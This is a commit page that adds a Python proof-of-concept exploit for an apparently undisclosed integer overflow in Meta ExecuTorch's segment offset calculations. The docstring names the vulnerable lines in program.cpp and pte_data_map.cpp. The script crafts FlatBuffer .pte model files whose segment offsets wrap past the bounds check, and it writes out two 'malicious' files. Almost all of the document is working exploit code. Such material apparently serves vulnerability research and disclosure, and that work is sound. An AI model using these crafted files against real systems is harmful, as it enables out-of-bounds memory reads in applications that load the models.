jdhart81 commited on
Commit
229ea7e
·
verified ·
1 Parent(s): 5ad75a9

Add offset overflow PoC

Browse files
Files changed (1) hide show
  1. poc_offset_overflow.py +138 -0
poc_offset_overflow.py ADDED
@@ -0,0 +1,138 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: Unsigned Integer Overflow in Segment Offset Calculations — Meta ExecuTorch
4
+ ================================================================================
5
+ CVE: N/A (0-day)
6
+ Target: executorch/runtime/executor/program.cpp (line 592, 609)
7
+ executorch/runtime/executor/pte_data_map.cpp (line 58)
8
+ Severity: High (Out-of-Bounds Read via Bounds Check Bypass)
9
+
10
+ VULNERABILITY SUMMARY:
11
+ Multiple functions in the ExecuTorch runtime perform unchecked arithmetic
12
+ on segment offsets before using the result to load data. These offsets
13
+ are read from the .pte FlatBuffer file and are fully attacker-controlled.
14
+
15
+ BUG 1 — program.cpp:592 (bounds check bypass):
16
+ if (offset + size > segment->size()) { // offset + size WRAPS to small value
17
+ return Error::InvalidArgument; // check passes incorrectly!
18
+ }
19
+
20
+ BUG 2 — program.cpp:609 (triple addition overflow):
21
+ return loader_->load(
22
+ segment_base_offset_ + segment->offset() + offset, ...);
23
+
24
+ BUG 3 — pte_data_map.cpp:58 (double addition overflow):
25
+ return loader_->load(
26
+ segment_base_offset_ + segment_offset, segment_size, ...);
27
+
28
+ This script generates .pte files demonstrating both overflow vectors.
29
+ Requires: pip install flatbuffers
30
+ """
31
+
32
+ import struct
33
+ import sys
34
+ import os
35
+ import flatbuffers
36
+
37
+ FILE_IDENTIFIER = b"ET12"
38
+ KERNEL_TYPE_INT = 2
39
+
40
+ def build_segment_overflow_pte(output_path, segment_offset, segment_size):
41
+ builder = flatbuffers.Builder(2048)
42
+
43
+ builder.StartObject(1)
44
+ builder.PrependInt64Slot(0, 0, 0)
45
+ int_offset = builder.EndObject()
46
+
47
+ builder.StartObject(2)
48
+ builder.PrependUint8Slot(0, KERNEL_TYPE_INT, 0)
49
+ builder.PrependUOffsetTRelativeSlot(1, int_offset, 0)
50
+ evalue_offset = builder.EndObject()
51
+
52
+ builder.StartVector(4, 1, 4)
53
+ builder.PrependUOffsetTRelative(evalue_offset)
54
+ values_vec = builder.EndVector()
55
+
56
+ builder.StartVector(4, 1, 4)
57
+ builder.PrependInt32(0)
58
+ inputs_vec = builder.EndVector()
59
+
60
+ builder.StartVector(4, 1, 4)
61
+ builder.PrependInt32(0)
62
+ outputs_vec = builder.EndVector()
63
+
64
+ builder.StartVector(8, 1, 8)
65
+ builder.PrependInt64(0)
66
+ non_const_vec = builder.EndVector()
67
+
68
+ name_str = builder.CreateString("forward")
69
+
70
+ builder.StartObject(9)
71
+ builder.PrependUOffsetTRelativeSlot(0, name_str, 0)
72
+ builder.PrependUOffsetTRelativeSlot(2, values_vec, 0)
73
+ builder.PrependUOffsetTRelativeSlot(3, inputs_vec, 0)
74
+ builder.PrependUOffsetTRelativeSlot(4, outputs_vec, 0)
75
+ builder.PrependUOffsetTRelativeSlot(8, non_const_vec, 0)
76
+ exec_plan_offset = builder.EndObject()
77
+
78
+ builder.StartVector(4, 1, 4)
79
+ builder.PrependUOffsetTRelative(exec_plan_offset)
80
+ exec_plan_vec = builder.EndVector()
81
+
82
+ builder.StartObject(2)
83
+ builder.PrependUint64Slot(0, segment_offset, 0)
84
+ builder.PrependUint64Slot(1, segment_size, 0)
85
+ segment_entry = builder.EndObject()
86
+
87
+ builder.StartVector(4, 1, 4)
88
+ builder.PrependUOffsetTRelative(segment_entry)
89
+ segments_vec = builder.EndVector()
90
+
91
+ builder.StartVector(8, 1, 8)
92
+ builder.PrependUint64(0)
93
+ offsets_vec = builder.EndVector()
94
+
95
+ builder.StartObject(2)
96
+ builder.PrependUint32Slot(0, 0, 0)
97
+ builder.PrependUOffsetTRelativeSlot(1, offsets_vec, 0)
98
+ const_segment = builder.EndObject()
99
+
100
+ builder.StartObject(8)
101
+ builder.PrependUint32Slot(0, 0, 0)
102
+ builder.PrependUOffsetTRelativeSlot(1, exec_plan_vec, 0)
103
+ builder.PrependUOffsetTRelativeSlot(4, segments_vec, 0)
104
+ builder.PrependUOffsetTRelativeSlot(5, const_segment, 0)
105
+ program_offset = builder.EndObject()
106
+
107
+ builder.Finish(program_offset, file_identifier=FILE_IDENTIFIER)
108
+ buf = bytes(builder.Output())
109
+
110
+ with open(output_path, "wb") as f:
111
+ f.write(buf)
112
+ return buf
113
+
114
+ def main():
115
+ print("PoC: Segment Offset Overflow in Meta ExecuTorch")
116
+ UINT64_MAX = (1 << 64) - 1
117
+
118
+ # Scenario 1: Bounds check bypass
119
+ seg_offset = 0xFFFFFFFFFFFF0000
120
+ seg_size = 0x0000000000020000
121
+ buf1 = build_segment_overflow_pte("malicious_segment_bypass.pte", seg_offset, seg_size)
122
+ print(f"Generated: malicious_segment_bypass.pte ({len(buf1)} bytes)")
123
+
124
+ # Scenario 2: Triple addition overflow
125
+ assumed_base = 4096
126
+ seg_offset2 = (0 - assumed_base) % (1 << 64)
127
+ buf2 = build_segment_overflow_pte("malicious_segment_triple.pte", seg_offset2, 0x1000)
128
+ print(f"Generated: malicious_segment_triple.pte ({len(buf2)} bytes)")
129
+
130
+ # Verify
131
+ for path in ["malicious_segment_bypass.pte", "malicious_segment_triple.pte"]:
132
+ with open(path, "rb") as f:
133
+ data = bytearray(f.read())
134
+ assert data[4:8] == FILE_IDENTIFIER
135
+ print(f" {path}: Valid ET12 FlatBuffer ({len(data)} bytes)")
136
+
137
+ if __name__ == "__main__":
138
+ main()